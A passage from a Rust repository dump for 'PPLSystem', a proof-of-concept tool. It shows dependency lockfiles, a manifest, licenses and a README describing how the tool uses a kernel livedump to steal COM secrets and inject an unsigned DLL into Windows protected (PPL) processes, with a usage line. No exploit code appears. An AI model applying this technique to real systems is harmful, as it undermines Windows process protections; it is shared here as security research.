"itoa", 874 | "ryu", 875 | "serde", 876 | ] 877 | 878 | [[package]] 879 | name = "siphasher" 880 | version = "0.3.11" 881 | source = "registry+https://github.com/rust-lang/crates.io-index" 882 | checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" 883 | 884 | [[package]] 885 | name = "smallvec" 886 | version = "1.13.1" 887 | source = "registry+https://github.com/rust-lang/crates.io-index" 888 | checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" 889 | 890 | [[package]] 891 | name = "spin" 892 | version = "0.9.8" 893 | source = "registry+https://github.com/rust-lang/crates.io-index" 894 | checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" 895 | 896 | [[package]] 897 | name = "stable_deref_trait" 898 | version = "1.2.0" 899 | source = "registry+https://github.com/rust-lang/crates.io-index" 900 | checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" 901 | 902 | [[package]] 903 | name = "string_cache" 904 | version = "0.8.7" 905 | source = "registry+https://github.com/rust-lang/crates.io-index" 906 | checksum = "f91138e76242f575eb1d3b38b4f1362f10d3a43f47d182a5b359af488a02293b" 907 | dependencies = [ 908 | "new_debug_unreachable", 909 | "once_cell", 910 | "parking_lot", 911 | "phf_shared", 912 | "precomputed-hash", 913 | "serde", 914 | ] 915 | 916 | [[package]] 917 | name = "strsim" 918 | version = "0.11.1" 919 | source = "registry+https://github.com/rust-lang/crates.io-index" 920 | checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" 921 | 922 | [[package]] 923 | name = "subtle" 924 | version = "2.5.0" 925 | source = "registry+https://github.com/rust-lang/crates.io-index" 926 | checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc" 927 | 928 | [[package]] 929 | name = "symbolic" 930 | version = "12.8.0" 931 | source = "registry+https://github.com/rust-lang/crates.io-index" 932 | checksum = "05ec4f53c56d7ee8809c2322925d362e193bcc7bbe7e777a3304b34ea7e85a36" 933 | dependencies = [ 934 | "symbolic-common", 935 | "symbolic-debuginfo", 936 | ] 937 | 938 | [[package]] 939 | name = "symbolic-common" 940 | version = "12.8.0" 941 | source = "registry+https://github.com/rust-lang/crates.io-index" 942 | checksum = "1cccfffbc6bb3bb2d3a26cd2077f4d055f6808d266f9d4d158797a4c60510dfe" 943 | dependencies = [ 944 | "debugid", 945 | "memmap2", 946 | "stable_deref_trait", 947 | "uuid", 948 | ] 949 | 950 | [[package]] 951 | name = "symbolic-debuginfo" 952 | version = "12.8.0" 953 | source = "registry+https://github.com/rust-lang/crates.io-index" 954 | checksum = "eb52777be67777947c5a159f1b6e8bfe4473d91fad7e5d4aff85ee4d3963cc04" 955 | dependencies = [ 956 | "debugid", 957 | "dmsort", 958 | "elementtree", 959 | "elsa", 960 | "fallible-iterator 0.3.0", 961 | "flate2", 962 | "gimli", 963 | "goblin", 964 | "lazy_static", 965 | "nom", 966 | "nom-supreme", 967 | "once_cell", 968 | "parking_lot", 969 | "pdb-addr2line", 970 | "regex", 971 | "scroll", 972 | "serde", 973 | "serde_json", 974 | "smallvec", 975 | "symbolic-common", 976 | "symbolic-ppdb", 977 | "thiserror", 978 | "wasmparser", 979 | "zip", 980 | ] 981 | 982 | [[package]] 983 | name = "symbolic-ppdb" 984 | version = "12.8.0" 985 | source = "registry+https://github.com/rust-lang/crates.io-index" 986 | checksum = "dace84623ccc926886fc880c36e2a81af4b17f8276abc4d77dc947ca3c6c8f8c" 987 | dependencies = [ 988 | "flate2", 989 | "indexmap", 990 | "serde", 991 | "serde_json", 992 | "symbolic-common", 993 | "thiserror", 994 | "uuid", 995 | "watto", 996 | ] 997 | 998 | [[package]] 999 | name = "syn" 1000 | version = "1.0.109" 1001 | source = "registry+https://github.com/rust-lang/crates.io-index" 1002 | checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" 1003 | dependencies = [ 1004 | "proc-macro2", 1005 | "quote", 1006 | "unicode-ident", 1007 | ] 1008 | 1009 | [[package]] 1010 | name = "syn" 1011 | version = "2.0.52" 1012 | source = "registry+https://github.com/rust-lang/crates.io-index" 1013 | checksum = "b699d15b36d1f02c3e7c69f8ffef53de37aefae075d8488d4ba1a7788d574a07" 1014 | dependencies = [ 1015 | "proc-macro2", 1016 | "quote", 1017 | "unicode-ident", 1018 | ] 1019 | 1020 | [[package]] 1021 | name = "sysinfo" 1022 | version = "0.30.7" 1023 | source = "registry+https://github.com/rust-lang/crates.io-index" 1024 | checksum = "0c385888ef380a852a16209afc8cfad22795dd8873d69c9a14d2e2088f118d18" 1025 | dependencies = [ 1026 | "cfg-if", 1027 | "core-foundation-sys", 1028 | "libc", 1029 | "ntapi", 1030 | "once_cell", 1031 | "rayon", 1032 | "windows", 1033 | ] 1034 | 1035 | [[package]] 1036 | name = "thiserror" 1037 | version = "1.0.58" 1038 | source = "registry+https://github.com/rust-lang/crates.io-index" 1039 | checksum = "03468839009160513471e86a034bb2c5c0e4baae3b43f79ffc55c4a5427b3297" 1040 | dependencies = [ 1041 | "thiserror-impl", 1042 | ] 1043 | 1044 | [[package]] 1045 | name = "thiserror-impl" 1046 | version = "1.0.58" 1047 | source = "registry+https://github.com/rust-lang/crates.io-index" 1048 | checksum = "c61f3ba182994efc43764a46c018c347bc492c79f024e705f46567b418f6d4f7" 1049 | dependencies = [ 1050 | "proc-macro2", 1051 | "quote", 1052 | "syn 2.0.52", 1053 | ] 1054 | 1055 | [[package]] 1056 | name = "tinyvec" 1057 | version = "1.6.0" 1058 | source = "registry+https://github.com/rust-lang/crates.io-index" 1059 | checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" 1060 | dependencies = [ 1061 | "tinyvec_macros", 1062 | ] 1063 | 1064 | [[package]] 1065 | name = "tinyvec_macros" 1066 | version = "0.1.1" 1067 | source = "registry+https://github.com/rust-lang/crates.io-index" 1068 | checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" 1069 | 1070 | [[package]] 1071 | name = "unicode-bidi" 1072 | version = "0.3.15" 1073 | source = "registry+https://github.com/rust-lang/crates.io-index" 1074 | checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" 1075 | 1076 | [[package]] 1077 | name = "unicode-ident" 1078 | version = "1.0.12" 1079 | source = "registry+https://github.com/rust-lang/crates.io-index" 1080 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 1081 | 1082 | [[package]] 1083 | name = "unicode-normalization" 1084 | version = "0.1.23" 1085 | source = "registry+https://github.com/rust-lang/crates.io-index" 1086 | checksum = "a56d1686db2308d901306f92a263857ef59ea39678a5458e7cb17f01415101f5" 1087 | dependencies = [ 1088 | "tinyvec", 1089 | ] 1090 | 1091 | [[package]] 1092 | name = "untrusted" 1093 | version = "0.9.0" 1094 | source = "registry+https://github.com/rust-lang/crates.io-index" 1095 | checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" 1096 | 1097 | [[package]] 1098 | name = "ureq" 1099 | version = "2.9.6" 1100 | source = "registry+https://github.com/rust-lang/crates.io-index" 1101 | checksum = "11f214ce18d8b2cbe84ed3aa6486ed3f5b285cf8d8fbdbce9f3f767a724adc35" 1102 | dependencies = [ 1103 | "base64", 1104 | "flate2", 1105 | "log", 1106 | "once_cell", 1107 | "rustls", 1108 | "rustls-pki-types", 1109 | "rustls-webpki", 1110 | "url", 1111 | "webpki-roots", 1112 | ] 1113 | 1114 | [[package]] 1115 | name = "url" 1116 | version = "2.5.0" 1117 | source = "registry+https://github.com/rust-lang/crates.io-index" 1118 | checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" 1119 | dependencies = [ 1120 | "form_urlencoded", 1121 | "idna", 1122 | "percent-encoding", 1123 | ] 1124 | 1125 | [[package]] 1126 | name = "utf8parse" 1127 | version = "0.2.1" 1128 | source = "registry+https://github.com/rust-lang/crates.io-index" 1129 | checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" 1130 | 1131 | [[package]] 1132 | name = "uuid" 1133 | version = "1.7.0" 1134 | source = "registry+https://github.com/rust-lang/crates.io-index" 1135 | checksum = "f00cc9702ca12d3c81455259621e676d0f7251cec66a21e98fe2e9a37db93b2a" 1136 | 1137 | [[package]] 1138 | name = "wasi" 1139 | version = "0.11.0+wasi-snapshot-preview1" 1140 | source = "registry+https://github.com/rust-lang/crates.io-index" 1141 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 1142 | 1143 | [[package]] 1144 | name = "wasmparser" 1145 | version = "0.118.2" 1146 | source = "registry+https://github.com/rust-lang/crates.io-index" 1147 | checksum = "77f1154f1ab868e2a01d9834a805faca7bf8b50d041b4ca714d005d0dab1c50c" 1148 | dependencies = [ 1149 | "indexmap", 1150 | "semver", 1151 | ] 1152 | 1153 | [[package]] 1154 | name = "watto" 1155 | version = "0.1.0" 1156 | source = "registry+https://github.com/rust-lang/crates.io-index" 1157 | checksum = "6746b5315e417144282a047ebb82260d45c92d09bf653fa9ec975e3809be942b" 1158 | dependencies = [ 1159 | "leb128", 1160 | "thiserror", 1161 | ] 1162 | 1163 | [[package]] 1164 | name = "webpki-roots" 1165 | version = "0.26.1" 1166 | source = "registry+https://github.com/rust-lang/crates.io-index" 1167 | checksum = "b3de34ae270483955a94f4b21bdaaeb83d508bb84a01435f393818edb0012009" 1168 | dependencies = [ 1169 | "rustls-pki-types", 1170 | ] 1171 | 1172 | [[package]] 1173 | name = "winapi" 1174 | version = "0.3.9" 1175 | source = "registry+https://github.com/rust-lang/crates.io-index" 1176 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 1177 | dependencies = [ 1178 | "winapi-i686-pc-windows-gnu", 1179 | "winapi-x86_64-pc-windows-gnu", 1180 | ] 1181 | 1182 | [[package]] 1183 | name = "winapi-i686-pc-windows-gnu" 1184 | version = "0.4.0" 1185 | source = "registry+https://github.com/rust-lang/crates.io-index" 1186 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 1187 | 1188 | [[package]] 1189 | name = "winapi-x86_64-pc-windows-gnu" 1190 | version = "0.4.0" 1191 | source = "registry+https://github.com/rust-lang/crates.io-index" 1192 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 1193 | 1194 | [[package]] 1195 | name = "windows" 1196 | version = "0.52.0" 1197 | source = "registry+https://github.com/rust-lang/crates.io-index" 1198 | checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be" 1199 | dependencies = [ 1200 | "windows-core", 1201 | "windows-implement", 1202 | "windows-interface", 1203 | "windows-targets 0.52.3", 1204 | ] 1205 | 1206 | [[package]] 1207 | name = "windows-core" 1208 | version = "0.52.0" 1209 | source = "registry+https://github.com/rust-lang/crates.io-index" 1210 | checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" 1211 | dependencies = [ 1212 | "windows-targets 0.52.3", 1213 | ] 1214 | 1215 | [[package]] 1216 | name = "windows-implement" 1217 | version = "0.52.0" 1218 | source = "registry+https://github.com/rust-lang/crates.io-index" 1219 | checksum = "12168c33176773b86799be25e2a2ba07c7aab9968b37541f1094dbd7a60c8946" 1220 | dependencies = [ 1221 | "proc-macro2", 1222 | "quote", 1223 | "syn 2.0.52", 1224 | ] 1225 | 1226 | [[package]] 1227 | name = "windows-interface" 1228 | version = "0.52.0" 1229 | source = "registry+https://github.com/rust-lang/crates.io-index" 1230 | checksum = "9d8dc32e0095a7eeccebd0e3f09e9509365ecb3fc6ac4d6f5f14a3f6392942d1" 1231 | dependencies = [ 1232 | "proc-macro2", 1233 | "quote", 1234 | "syn 2.0.52", 1235 | ] 1236 | 1237 | [[package]] 1238 | name = "windows-sys" 1239 | version = "0.52.0" 1240 | source = "registry+https://github.com/rust-lang/crates.io-index" 1241 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 1242 | dependencies = [ 1243 | "windows-targets 0.52.3", 1244 | ] 1245 | 1246 | [[package]] 1247 | name = "windows-targets" 1248 | version = "0.48.5" 1249 | source = "registry+https://github.com/rust-lang/crates.io-index" 1250 | checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" 1251 | dependencies = [ 1252 | "windows_aarch64_gnullvm 0.48.5", 1253 | "windows_aarch64_msvc 0.48.5", 1254 | "windows_i686_gnu 0.48.5", 1255 | "windows_i686_msvc 0.48.5", 1256 | "windows_x86_64_gnu 0.48.5", 1257 | "windows_x86_64_gnullvm 0.48.5", 1258 | "windows_x86_64_msvc 0.48.5", 1259 | ] 1260 | 1261 | [[package]] 1262 | name = "windows-targets" 1263 | version = "0.52.3" 1264 | source = "registry+https://github.com/rust-lang/crates.io-index" 1265 | checksum = "d380ba1dc7187569a8a9e91ed34b8ccfc33123bbacb8c0aed2d1ad7f3ef2dc5f" 1266 | dependencies = [ 1267 | "windows_aarch64_gnullvm 0.52.3", 1268 | "windows_aarch64_msvc 0.52.3", 1269 | "windows_i686_gnu 0.52.3", 1270 | "windows_i686_msvc 0.52.3", 1271 | "windows_x86_64_gnu 0.52.3", 1272 | "windows_x86_64_gnullvm 0.52.3", 1273 | "windows_x86_64_msvc 0.52.3", 1274 | ] 1275 | 1276 | [[package]] 1277 | name = "windows_aarch64_gnullvm" 1278 | version = "0.48.5" 1279 | source = "registry+https://github.com/rust-lang/crates.io-index" 1280 | checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" 1281 | 1282 | [[package]] 1283 | name = "windows_aarch64_gnullvm" 1284 | version = "0.52.3" 1285 | source = "registry+https://github.com/rust-lang/crates.io-index" 1286 | checksum = "68e5dcfb9413f53afd9c8f86e56a7b4d86d9a2fa26090ea2dc9e40fba56c6ec6" 1287 | 1288 | [[package]] 1289 | name = "windows_aarch64_msvc" 1290 | version = "0.48.5" 1291 | source = "registry+https://github.com/rust-lang/crates.io-index" 1292 | checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" 1293 | 1294 | [[package]] 1295 | name = "windows_aarch64_msvc" 1296 | version = "0.52.3" 1297 | source = "registry+https://github.com/rust-lang/crates.io-index" 1298 | checksum = "8dab469ebbc45798319e69eebf92308e541ce46760b49b18c6b3fe5e8965b30f" 1299 | 1300 | [[package]] 1301 | name = "windows_i686_gnu" 1302 | version = "0.48.5" 1303 | source = "registry+https://github.com/rust-lang/crates.io-index" 1304 | checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" 1305 | 1306 | [[package]] 1307 | name = "windows_i686_gnu" 1308 | version = "0.52.3" 1309 | source = "registry+https://github.com/rust-lang/crates.io-index" 1310 | checksum = "2a4e9b6a7cac734a8b4138a4e1044eac3404d8326b6c0f939276560687a033fb" 1311 | 1312 | [[package]] 1313 | name = "windows_i686_msvc" 1314 | version = "0.48.5" 1315 | source = "registry+https://github.com/rust-lang/crates.io-index" 1316 | checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" 1317 | 1318 | [[package]] 1319 | name = "windows_i686_msvc" 1320 | version = "0.52.3" 1321 | source = "registry+https://github.com/rust-lang/crates.io-index" 1322 | checksum = "28b0ec9c422ca95ff34a78755cfa6ad4a51371da2a5ace67500cf7ca5f232c58" 1323 | 1324 | [[package]] 1325 | name = "windows_x86_64_gnu" 1326 | version = "0.48.5" 1327 | source = "registry+https://github.com/rust-lang/crates.io-index" 1328 | checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" 1329 | 1330 | [[package]] 1331 | name = "windows_x86_64_gnu" 1332 | version = "0.52.3" 1333 | source = "registry+https://github.com/rust-lang/crates.io-index" 1334 | checksum = "704131571ba93e89d7cd43482277d6632589b18ecf4468f591fbae0a8b101614" 1335 | 1336 | [[package]] 1337 | name = "windows_x86_64_gnullvm" 1338 | version = "0.48.5" 1339 | source = "registry+https://github.com/rust-lang/crates.io-index" 1340 | checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" 1341 | 1342 | [[package]] 1343 | name = "windows_x86_64_gnullvm" 1344 | version = "0.52.3" 1345 | source = "registry+https://github.com/rust-lang/crates.io-index" 1346 | checksum = "42079295511643151e98d61c38c0acc444e52dd42ab456f7ccfd5152e8ecf21c" 1347 | 1348 | [[package]] 1349 | name = "windows_x86_64_msvc" 1350 | version = "0.48.5" 1351 | source = "registry+https://github.com/rust-lang/crates.io-index" 1352 | checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" 1353 | 1354 | [[package]] 1355 | name = "windows_x86_64_msvc" 1356 | version = "0.52.3" 1357 | source = "registry+https://github.com/rust-lang/crates.io-index" 1358 | checksum = "0770833d60a970638e989b3fa9fd2bb1aaadcf88963d1659fd7d9990196ed2d6" 1359 | 1360 | [[package]] 1361 | name = "zeroize" 1362 | version = "1.7.0" 1363 | source = "registry+https://github.com/rust-lang/crates.io-index" 1364 | checksum = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d" 1365 | 1366 | [[package]] 1367 | name = "zip" 1368 | version = "0.6.6" 1369 | source = "registry+https://github.com/rust-lang/crates.io-index" 1370 | checksum = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261" 1371 | dependencies = [ 1372 | "byteorder", 1373 | "crc32fast", 1374 | "crossbeam-utils", 1375 | "flate2", 1376 | ] 1377 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "pplsystem" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | byteorder = "1.5.0" 10 | clap = { version = "4.5.4", features = ["derive"] } 11 | endian_codec = { path = "./endian_codec/", version = "0.1.2" } 12 | memmap2 = "0.9.4" 13 | pdb = "0.8.0" 14 | pe-parser = "0.5.1" 15 | symbolic = "12.8.0" 16 | sysinfo = "0.30.7" 17 | ureq = "2.9.6" 18 | windows = { version = "0.52.0", features = ["Win32_Foundation", "Win32_System_Diagnostics_Debug", "Win32_System_Kernel", "Win32_System_Threading", "Win32_Storage", "Win32_Storage_FileSystem", "Win32_Security", "Win32_System_Com", "implement", "Win32_UI", "Win32_UI_Shell", "Win32_System_Com_Marshal", "Win32_System_LibraryLoader", "Win32_System_ProcessStatus", "Win32_System_Rpc", "Wdk_Foundation", "Wdk_Storage", "Wdk_Storage_FileSystem"] } 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Slowerzs 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PPLSystem 2 | 3 | This is a proof of concept implementation of the technique described in [this blog post](https://blog.slowerzs.net/posts/pplsystem). 4 | 5 | It creates a livedump of the machine through `NtDebugSystemControl` to extract the COM secret and context, to then inject inside this process. 6 | 7 | The livedump might slow down or freeze the machine for a couple of seconds. 8 | 9 | The tool can be built using: `cargo build --release`. 10 | 11 | ## Usage 12 | 13 | ``` 14 | pplsystem.exe --dll --dump --pid 15 | ``` 16 | 17 | ![Image of the exploitation](images/pplsystem_inject.png) 18 | 19 | This proof of concept implements the mapping of an unsigned DLL inside a *PPL* process, however, no new thread is created, and the code in the unsigned DLL is not called. 20 | 21 | For some reason, in a virtual machine, I've found that `services.exe` does not always initialize COM. In such cases, injection does not work. It works on other *PPL* process who do initialize COM. 22 | 23 | I haven't faced this issue on a physical machine. 24 | 25 | ## Credits 26 | 27 | - James Forshaw for the article [original article](https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html) on using COM remoting to inject into other processes. 28 | - [Axel Souchet](https://x.com/0vercl0k) for his implementation of [kdmp-parser](https://github.com/0vercl0k/kdmp-parser/tree/master). 29 | - [modexp](https://x.com/modexpblog) for the implemenation of [com_inject](https://github.com/mdsecactivebreach/com_inject/) 30 | -------------------------------------------------------------------------------- /endian_codec/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | All notable changes to this project will be documented in this file. 3 | 4 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 5 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 6 | 7 | ## [Unreleased] 8 | ### Added 9 | - ... 10 | ### Changed 11 | - update documentation 12 | ### Deprecated 13 | - ... 14 | ### Removed 15 | - ... 16 | ### Fixed 17 | - ... 18 | ### Security: 19 | - ... 20 | 21 | ## [0.1.1] - 2019-02-08 22 | ### Added 23 | - Specify `readme` in Cargo.toml 24 | 25 | ## [0.1.0] - 2019-02-01 26 | ### Added 27 | - `DecodeBE`, `DecodeLe`, `DecodeME` - for creating structs from bytes stored as big, little or mixed endianess. 28 | - `EncodeBE`, `EncodeLe`, `EncodeME` - for change structures into bytes stored as big, little or mixed endianess. 29 | - `endian` attribute for `DecodeME` and `EncodeME` 30 | - derive crate (`endian_codec_derive`) available via future `derive` enabled by default 31 | 32 | 33 | [Unreleased]: https://github.com/xoac/endian_codec/compare/v0.1.1...HEAD 34 | [0.1.1]: https://github.com/xoac/endian_codec/releases/tag/v0.1.1 35 | [0.1.0]: https://github.com/xoac/endian_codec/releases/tag/v0.1.0 36 | -------------------------------------------------------------------------------- /endian_codec/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "endian_codec" 7 | version = "0.1.2" 8 | dependencies = [ 9 | "endian_codec_derive", 10 | ] 11 | 12 | [[package]] 13 | name = "endian_codec_derive" 14 | version = "0.1.2" 15 | dependencies = [ 16 | "proc-macro2", 17 | "quote", 18 | "syn", 19 | ] 20 | 21 | [[package]] 22 | name = "proc-macro2" 23 | version = "1.0.78" 24 | source = "registry+https://github.com/rust-lang/crates.io-index" 25 | checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" 26 | dependencies = [ 27 | "unicode-ident", 28 | ] 29 | 30 | [[package]] 31 | name = "quote" 32 | version = "1.0.35" 33 | source = "registry+https://github.com/rust-lang/crates.io-index" 34 | checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" 35 | dependencies = [ 36 | "proc-macro2", 37 | ] 38 | 39 | [[package]] 40 | name = "syn" 41 | version = "1.0.109" 42 | source = "registry+https://github.com/rust-lang/crates.io-index" 43 | checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" 44 | dependencies = [ 45 | "proc-macro2", 46 | "quote", 47 | "unicode-ident", 48 | ] 49 | 50 | [[package]] 51 | name = "unicode-ident" 52 | version = "1.0.12" 53 | source = "registry+https://github.com/rust-lang/crates.io-index" 54 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 55 | -------------------------------------------------------------------------------- /endian_codec/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "endian_codec" 3 | description = "Decode / Encode rust types as packed bytes with specific bytes order" 4 | version = "0.1.2" 5 | authors = ["Sylwester Rąpała "] 6 | edition = "2018" 7 | 8 | documentation = "https://docs.rs/endian_codec" 9 | repository = "https://github.com/xoac/endian_codec" 10 | keywords = ["packed", "bytes", "packing struct", "endianess"] 11 | categories = ["no-std", "parsing"] 12 | license = "Apache-2.0 OR MIT" 13 | readme = "README.md" 14 | 15 | [dependencies] 16 | endian_codec_derive = { version = "0.1.2", optional = true, path = "endian_codec_derive" } 17 | 18 | [features] 19 | default = ["derive"] 20 | 21 | derive = ["endian_codec_derive"] 22 | -------------------------------------------------------------------------------- /endian_codec/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Sylwester Rąpała 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /endian_codec/LICENSE-APACHE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor 